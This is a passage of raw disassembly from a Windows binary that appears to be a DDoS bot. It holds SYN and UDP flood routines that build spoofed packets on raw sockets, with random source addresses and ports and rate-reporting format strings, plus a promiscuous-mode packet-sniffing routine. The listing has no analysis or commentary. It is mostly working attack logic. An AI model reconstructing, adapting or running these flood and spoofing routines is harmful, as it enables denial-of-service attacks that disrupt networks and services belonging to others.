xor eax, eax
add esp, 338h
retn 4
sub_426CE0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426EB0 proc near ; CODE XREF: sub_401DD9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426EB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aSyn ; "syn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E10C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426EB0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426F20 proc near ; CODE XREF: ___:004016DBj sub_40181Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4010FF
test [esp+4+arg_0], 1
jz short loc_426F38
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426F38: ; CODE XREF: sub_426F20+Dj
mov eax, esi
pop esi
retn 4
sub_426F20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426F50 proc near ; CODE XREF: sub_4010FFj
jmp sub_4014C4
sub_426F50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426F70 proc near ; CODE XREF: sub_401E92j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426F70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+50h]
mov edx, [esi+58h]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)"
mov ecx, ebp
call sub_4014D3
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_401424
mov edx, [esi+54h]
mov eax, [esi+50h]
mov ecx, [esi+58h]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014D3
push eax
call sub_401DB6
sub_426F70 endp
; ---------------------------------------------------------------------------
cdq
and edx, 3FFh
add esp, 10h
add eax, edx
mov ecx, edi
sar eax, 0Ah
cdq
idiv dword ptr [esi+50h]
mov edx, [esi+58h]
push eax
push edx
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+20h]
push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
push eax
call sub_40102D
add esp, 18h
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 14h
mov dword ptr [esp+30h], 0FFFFFFFFh
lea ecx, [esp+10h]
call sub_401226
mov ecx, [esp+28h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4270E0 proc near ; CODE XREF: sub_401BB3j
var_95 = byte ptr -95h
var_8C = dword ptr -8Ch
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
sub esp, 98h
push ebx
push ebp
push esi
push edi
mov ecx, 0Eh
xor eax, eax
lea edi, [esp+0A8h+var_3B]
mov [esp+0A8h+var_3C], 0
rep stosd
stosw
xor esi, esi
push 0FFh
push esi
mov [esp+0B0h+var_8C], esi
stosb
mov [esp+0B0h+var_95], 0
call sub_4021A3
sub_4270E0 endp
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+24h], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+2Dh], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+36h], al
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 20h
cmp [esp+0B4h], si
mov [esp+17h], al
jnz short loc_427171
push 2710h
push 3E8h
mov byte ptr [esp+1Bh], 1
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_427171: ; CODE XREF: ___:00427151j
push 1
push esi
push esi
push 0FFh
push 3
push 2
mov dword ptr [esp+64h], 1
nop
call near ptr 71AB8769h
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [esp+18h], edi
jnz short loc_4271A4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4271A4: ; CODE XREF: ___:00427195j
lea eax, [esp+4Ch]
push 4
push eax
push 2
push esi
push edi
call near ptr 71AB3EA1h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_4271C7
loc_4271BA: ; CODE XREF: ___:0042736Fj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4271C7: ; CODE XREF: ___:004271B8j
mov ecx, [esp+0B4h]
mov ebp, dword_50FC2C
push ecx
mov word ptr [esp+60h], 2
call ebp ; dword_50FC2C
mov ebx, [esp+0ACh]
push 28h
mov [esp+62h], ax
mov [esp+64h], ebx
mov byte ptr [esp+24h], 45h
call ebp ; dword_50FC2C
push 4000h
mov [esp+26h], ax
mov word ptr [esp+28h], 1
mov [esp+2Ah], si
mov byte ptr [esp+2Ch], 80h
mov byte ptr [esp+2Dh], 6
mov [esp+2Eh], si
mov [esp+34h], ebx
mov byte ptr [esp+44h], 50h
mov byte ptr [esp+45h], 2
call ebp ; dword_50FC2C
mov [esp+42h], ax
mov [esp+46h], si
mov [esp+3Ch], esi
nop
call near ptr 27F08B4h
mov [esp+48h], eax
mov al, byte_4D64F9
test al, al
jz loc_42741B
mov ebx, dword_50FABC
mov byte ptr [esp+58h], 0
mov byte ptr [esp+59h], 6
jmp short loc_427265
; ---------------------------------------------------------------------------
xor esi, esi
loc_427265: ; CODE XREF: ___:00427261j
mov edi, [esp+1Ch]
mov edx, [esp+0B4h]
inc edi
push edx
mov [esp+20h], edi
mov [esp+48h], si
call ebp ; dword_50FC2C
push 14h
mov [esp+3Ah], ax
call ebp ; dword_50FC2C
mov [esp+5Ah], ax
mov eax, [esp+14h]
push eax
nop
call near ptr 71AB2BC0h
mov esi, eax
mov [esp+2Ch], esi
call ebx ; dword_50FABC
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ebp ; dword_50FC2C
mov [esp+34h], ax
call ebx ; dword_50FABC
mov edi, eax
shl edi, 10h
call ebx ; dword_50FABC
or edi, eax
push edi
call ebp ; dword_50FC2C
mov edx, [esp+0ACh]
and eax, 0FFFFh
mov [esp+38h], eax
mov eax, [esp+58h]
mov [esp+6Ch], esi
mov ecx, 5
lea esi, [esp+34h]
lea edi, [esp+78h]
mov [esp+70h], edx
mov [esp+74h], eax
rep movsd
lea ecx, [esp+6Ch]
push 20h
push ecx
call sub_401A28
mov ecx, 5
lea esi, [esp+28h]
lea edi, [esp+74h]
lea edx, [esp+74h]
rep movsd
mov ecx, 5
lea esi, [esp+3Ch]
lea edi, [esp+88h]
mov [esp+4Ch], ax
push 28h
push edx
rep movsd
mov dword ptr [esp+0A4h], 0
call sub_401A28
mov edx, [esp+28h]
add esp, 10h
mov [esp+2Ah], ax
mov ecx, 5
lea esi, [esp+20h]
lea edi, [esp+6Ch]
lea eax, [esp+5Ch]
push 10h
rep movsd
push eax
push 0
lea ecx, [esp+78h]
push 28h
push ecx
push edx
nop
call near ptr 71AB2C69h
cmp eax, 0FFFFFFFFh
jz loc_4271BA
call near ptr 27F08B4h
nop
mov edx, [esp+48h]
mov ecx, eax
sub ecx, edx
mov eax, 10624DD3h
mul ecx
mov eax, [esp+0B8h]
shr edx, 6
cmp edx, eax
ja short loc_427417
mov al, [esp+13h]
test al, al
jz short loc_4273B9
push 2710h
push 3E8h
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_4273B9: ; CODE XREF: ___:0042739Ej
push 0FFh
push 0
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+24h], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+2Dh], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+36h], al
call sub_4021A3
; ---------------------------------------------------------------------------
db 8Bh, 94h, 24h
dd 0DCh, 8820C483h, 52172444h, 8BF6E890h, 0F9A00241h, 84004D64h
dd 4C850FC0h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_427417: ; CODE XREF: ___:00427396j
mov edi, [esp+18h]
loc_42741B: ; CODE XREF: ___:0042724Bj
push edi
nop
call near ptr 71AB9639h
mov eax, [esp+1Ch]
pop edi
pop esi
pop ebp
lea eax, [eax+eax*4+5]
pop ebx
shl eax, 2
add esp, 98h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_427520 proc near ; CODE XREF: sub_401DB6j
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
mov eax, [esp+arg_0]
push esi
push eax
call sub_40187F
mov esi, eax
nop
call near ptr 77C371D3h
and eax, 800001FFh
jns short loc_427541
dec eax
or eax, 0FFFFFE00h
inc eax
loc_427541: ; CODE XREF: sub_427520+18j
mov ecx, [esp+4+arg_10]
mov edx, [esp+4+arg_C]
push ecx
mov ecx, [esp+8+arg_8]
lea eax, [eax+esi+100h]
push edx
push ecx
push eax
push esi
call sub_401BB3
sub_427520 endp
; ---------------------------------------------------------------------------
add esp, 18h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427590 proc near ; CODE XREF: sub_401785j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427590
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aUdp ; "udp"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E11C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427590 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427600 proc near ; CODE XREF: ___:004014ECj sub_40222Aj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401159
test [esp+4+arg_0], 1
jz short loc_427618
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_427618: ; CODE XREF: sub_427600+Dj
mov eax, esi
pop esi
retn 4
sub_427600 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_427630 proc near ; CODE XREF: sub_401159j
jmp sub_4014C4
sub_427630 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427650 proc near ; CODE XREF: sub_401A05j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427650
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
push eax
mov eax, [esi+58h]
lea edi, [esi+3Bh]
push ecx
push edx
push eax
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)"
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 2Ch
lea ecx, [esp+34h+var_24]
call sub_401424
mov eax, [esi+58h]
mov ecx, [esi+54h]
mov edx, [esi+60h]
push eax
mov eax, [esi+5Ch]
push ecx
push edx
push eax
mov ecx, edi
mov [esp+44h+var_4], 0
call sub_4014D3
push eax
call sub_401730
add esp, 14h
test eax, eax
jz short loc_42771E
mov ecx, [esi+5Ch]
mov edx, [esi+58h]
push ecx
push edx
mov ecx, edi
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+44h+var_24]
push offset aSSDDone ; "%s: %s:%d done"
push eax
call sub_40102D
add esp, 18h
loc_42771E: ; CODE XREF: sub_427650+A2j
lea ecx, [esp+34h+var_24]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_427650 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4277C0 proc near ; CODE XREF: sub_401730j
var_36 = word ptr -36h
var_18 = byte ptr -18h
var_16 = word ptr -16h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_FFBC = dword ptr 0FFC0h
arg_FFCC = dword ptr 0FFD0h
arg_FFDC = dword ptr 0FFE0h
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFF0h
call sub_436840
push esi
push 11h
push 2
push 2
call near ptr 71AB3B91h
nop
mov esi, [esp+10h+arg_FFE4]
mov [esp+10h+arg_0], eax
xor eax, eax
push esi
mov [esp+14h+var_C], eax
mov word ptr [esp+14h+var_C], 2
mov [esp+14h+var_8], eax
mov [esp+14h+var_4], eax
mov [esp+14h], eax
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_427821
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_42781A
pop esi
add esp, 0FFF0h
retn
; ---------------------------------------------------------------------------
loc_42781A: ; CODE XREF: sub_4277C0+50j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_427821: ; CODE XREF: sub_4277C0+45j
mov esi, [esp+18h+arg_FFEC]
push ebx
mov ebx, dword_50FABC
push ebp
test esi, esi
mov [esp+20h+var_10], eax
push edi
jnz short loc_42785D
call ebx ; dword_50FABC
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+28h+var_16], ax
mov [esp+28h+arg_FFE8], 1
jmp short loc_42788E
; ---------------------------------------------------------------------------
loc_42785D: ; CODE XREF: sub_4277C0+77j
push esi
nop
call near ptr 71AB2B66h
cmp esi, 1
mov [esp+28h+var_16], ax
jge short loc_42787B
mov [esp+28h+arg_FFE8], 1
jmp short loc_42788E
; ---------------------------------------------------------------------------
loc_42787B: ; CODE XREF: sub_4277C0+ACj
cmp esi, 0FFFFh
jle short loc_42788E
mov [esp+28h+arg_FFE8], 0FFFFh
loc_42788E: ; CODE XREF: sub_4277C0+9Bj
; sub_4277C0+B9j ...
mov eax, [esp+28h+arg_FFE4]
test eax, eax
jnz short loc_4278A4
mov [esp+28h+arg_FFE4], 1
loc_4278A4: ; CODE XREF: sub_4277C0+D7j
mov ecx, [esp+28h+arg_FFDC]
mov eax, 66666667h
imul ecx
mov edi, [esp+28h+arg_FFE0]
xor esi, esi
sar edx, 2
mov eax, edx
shr eax, 1Fh
add edx, eax
test edi, edi
mov ebp, edx
jle short loc_4278DE
loc_4278CB: ; CODE XREF: sub_4277C0+11Cj
call ebx ; dword_50FABC
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, edi
mov byte ptr [esp+esi+28h+var_8+3], dl
jl short loc_4278CB
loc_4278DE: ; CODE XREF: sub_4277C0+109j
mov edx, ebp
dec ebp
test edx, edx
mov [esp+28h+arg_FFDC], ebp
jle loc_427970
mov ebp, dword_50FC5C
loc_4278F6: ; CODE XREF: sub_4277C0+1AEj
mov al, byte_4D64F9
test al, al
jz short loc_427970
mov esi, 0Bh
loc_427904: ; CODE XREF: sub_4277C0+177j
lea eax, [esp+28h+var_18]
push 10h
push eax
push 0
call ebx ; dword_50FABC
cdq
mov ecx, 0Ah
idiv ecx
mov eax, edi
lea ecx, [esp+34h+var_4]
sub eax, edx
mov edx, [esp+34h+var_8]
push eax
push ecx
push edx
call ebp ; dword_50FC5C
mov eax, [esp+40h+arg_FFCC]
push eax
nop
call near ptr 2840000h
dec esi
jnz short loc_427904
mov eax, [esp+44h+arg_FFCC]
test eax, eax
jnz short loc_42795B
call ebx ; dword_50FABC
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+48h+var_36], ax
loc_42795B: ; CODE XREF: sub_4277C0+182j
mov eax, [esp+48h+arg_FFBC]
mov edx, eax
dec eax
test edx, edx
mov [esp+48h+arg_FFBC], eax
jg short loc_4278F6
loc_427970: ; CODE XREF: sub_4277C0+12Aj
; sub_4277C0+13Dj
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0FFF0h
retn
sub_4277C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4279F0 proc near ; CODE XREF: sub_40207Cj
var_10 = word ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
mov ebx, [esp+14h+arg_4]
push esi
push edi
mov edi, [esp+1Ch+arg_0]
lea eax, [ebx-14h]
push eax
lea ecx, [edi+28h]
push ecx
call sub_401A28
mov edx, [edi+10h]
add esp, 8
mov [edi+0Ah], ax
mov [esp+1Ch+var_10], 2
push 1
push 0
push 0
push 0FFh
push 3
push 2
mov [esp+34h+var_C], edx
mov [esp+34h+arg_4], 1
nop
call near ptr 71AB8769h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_427A4D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_427A4D: ; CODE XREF: sub_4279F0+52j
lea eax, [esp+1Ch+arg_4]
push 4
push eax
push 2
push 0
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_427A6D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_427A6D: ; CODE XREF: sub_4279F0+72j
lea ecx, [esp+1Ch+var_10]
push 10h
push ecx
push 0
push ebx
push edi
push esi
nop
call near ptr 71AB2C69h
push esi
mov edi, eax
call near ptr 71AB9639h
nop
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 10h
retn
sub_4279F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427AD0 proc near ; CODE XREF: sub_401D9Dj
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_28 = dword ptr -28h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_10 = word ptr 14h
arg_12 = word ptr 16h
arg_14 = dword ptr 18h
arg_1C = byte ptr 20h
arg_24 = byte ptr 28h
arg_25 = byte ptr 29h
arg_B8 = byte ptr 0BCh
arg_C1 = byte ptr 0C5h
arg_C4 = dword ptr 0C8h
arg_C8 = dword ptr 0CCh
arg_100C8 = dword ptr 100CCh
arg_100D8 = dword ptr 100DCh
arg_10128 = dword ptr 1012Ch
arg_1012C = dword ptr 10130h
arg_10130 = dword ptr 10134h
mov eax, 10128h
call sub_436840
push ebx
push ebp
push esi
push edi
mov ecx, 3Fh
xor eax, eax
lea edi, [esp+10h+arg_25]
mov [esp+10h+arg_24], 0
rep stosd
stosw
mov eax, [esp+10h+arg_10128]
push eax
call sub_40187F
mov ecx, [esp+14h+arg_1012C]
mov [esp+14h+arg_4], eax
push ecx
call sub_40187F
mov edi, [esp+18h+arg_10130]
add esp, 8
xor ebx, ebx
mov [esp+10h+arg_0], eax
mov [esp+10h+arg_10], 2
mov [esp+10h+arg_12], bx
mov [esp+10h+arg_14], ebx
mov esi, offset byte_446F70
mov eax, edi
loc_427B37: ; CODE XREF: sub_427AD0+85j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_427B5B
test cl, cl
jz short loc_427B57
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_427B5B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_427B37
loc_427B57: ; CODE XREF: sub_427AD0+71j
xor eax, eax
jmp short loc_427B60
; ---------------------------------------------------------------------------
loc_427B5B: ; CODE XREF: sub_427AD0+6Dj
; sub_427AD0+7Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_427B60: ; CODE XREF: sub_427AD0+89j
cmp eax, ebx
jnz short loc_427BB3
mov ebp, dword_4D6107
cmp ebp, ebx
mov [esp+10h], ebp
jz short loc_427B77
cmp ebp, 0FFFFFFFFh
jnz short loc_427BBE
loc_427B77: ; CODE XREF: sub_427AD0+A0j
lea eax, [esp+10h+arg_24]
push 0FFh
push eax
nop
call near ptr 71AB50C8h
lea ecx, [esp+18h+arg_1C]
push ecx
call near ptr 71AB4FD4h
nop
movsx ecx, word ptr [eax+0Ah]
mov edx, [eax+0Ch]
mov eax, ecx
lea edi, [esp+1Ch+var_C]
mov esi, [edx]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ebp, [esp+1Ch+var_C]
jmp short loc_427BBE
; ---------------------------------------------------------------------------
loc_427BB3: ; CODE XREF: sub_427AD0+92j
push edi
call sub_40187F
add esp, 4
mov ebp, eax
loc_427BBE: ; CODE XREF: sub_427AD0+A5j
; sub_427AD0+E1j
cmp ebp, ebx
jz short loc_427BC7
cmp ebp, 0FFFFFFFFh
jnz short loc_427BCD
loc_427BC7: ; CODE XREF: sub_427AD0+F0j
mov ebp, dword_4D6107
loc_427BCD: ; CODE XREF: sub_427AD0+F5j
mov edi, 1
mov [esp+10h+arg_14], ebp
push edi
push ebx
push ebx
push ebx
push 3
push 2
mov [esp+28h+arg_8], edi
nop
call near ptr 71AB8769h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_427D0D
lea ecx, [esp+28h+var_C]
push 4
push ecx
push 2
push ebx
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jz loc_427D0D
lea edx, [esp+3Ch+var_18]
push 10h
push edx
push esi
call near ptr 71AB3E00h
nop
cmp eax, 0FFFFFFFFh
jz loc_427D0D
push ebx
lea eax, [esp+4Ch+var_14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp+5Ch+var_28]
push 4
push ecx
push 98000001h
push esi
mov [esp+6Ch+var_28], edi
nop
call near ptr 71AB4489h
cmp eax, 0FFFFFFFFh
jz loc_427D0D
mov edx, [esp+6Ch+arg_100D8]
cmp byte ptr [edx], 0
jz loc_427CF3
mov ebx, dword_50FC90
loc_427C63: ; CODE XREF: sub_427AD0+21Dj
mov ecx, 3FFFh
xor eax, eax
lea edi, [esp+6Ch+arg_C8]
push 0
rep stosd
stosw
stosb
lea eax, [esp+70h+arg_C8]
push 0FFFFh
push eax
push esi
call ebx ; dword_50FC90
cmp [esp+7Ch+arg_C1], 2Fh
jnz short loc_427CE3
mov ecx, [esp+7Ch+arg_C4]
mov edx, [esp+7Ch+var_64]
cmp ecx, edx
jnz short loc_427CBE
mov ecx, [esp+7Ch+var_68]
lea edx, [esp+7Ch+arg_B8]
push eax
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], ecx
push edx
jmp short loc_427CDB
; ---------------------------------------------------------------------------
loc_427CBE: ; CODE XREF: sub_427AD0+1CFj
cmp ecx, [esp+7Ch+var_68]
jnz short loc_427CE3
push eax
lea eax, [esp+80h+arg_B8]
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], edx
push eax
loc_427CDB: ; CODE XREF: sub_427AD0+1ECj
call sub_40207C
add esp, 8
loc_427CE3: ; CODE XREF: sub_427AD0+1C0j
; sub_427AD0+1F2j
mov ecx, [esp+7Ch+arg_100C8]
cmp byte ptr [ecx], 0
jnz loc_427C63
loc_427CF3: ; CODE XREF: sub_427AD0+187j
mov edx, dword_50FA84
add edx, 20h
push edx
nop
call near ptr 77C3EEF6h
add esp, 4
push esi
nop
call near ptr 71AB9639h
loc_427D0D: ; CODE XREF: sub_427AD0+11Dj
; sub_427AD0+137j ...
pop edi
pop esi
pop ebp
pop ebx
add esp, 10128h
retn
sub_427AD0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427DC0 proc near ; CODE XREF: sub_401889j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427DC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset off_444F40
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E12C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427DC0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427E30 proc near ; CODE XREF: sub_401F82j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427E30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+82h]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E13C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427E30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427EF0 proc near ; CODE XREF: sub_40179Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427EF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E13C
lea ecx, [esi+82h]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427EF0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427FC0: ; CODE XREF: ___:00401A14j
; ___:loc_402068j
push esi
mov esi, ecx
call sub_40179E
test byte ptr [esp+8], 1
jz short loc_427FD8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_427FD8: ; CODE XREF: ___:00427FCDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427FF0 proc near ; CODE XREF: ___:00401096j sub_401C2Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4015F5
test [esp+4+arg_0], 1
jz short loc_428008
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_428008: ; CODE XREF: sub_427FF0+Dj
mov eax, esi
pop esi
retn 4
sub_427FF0 endp
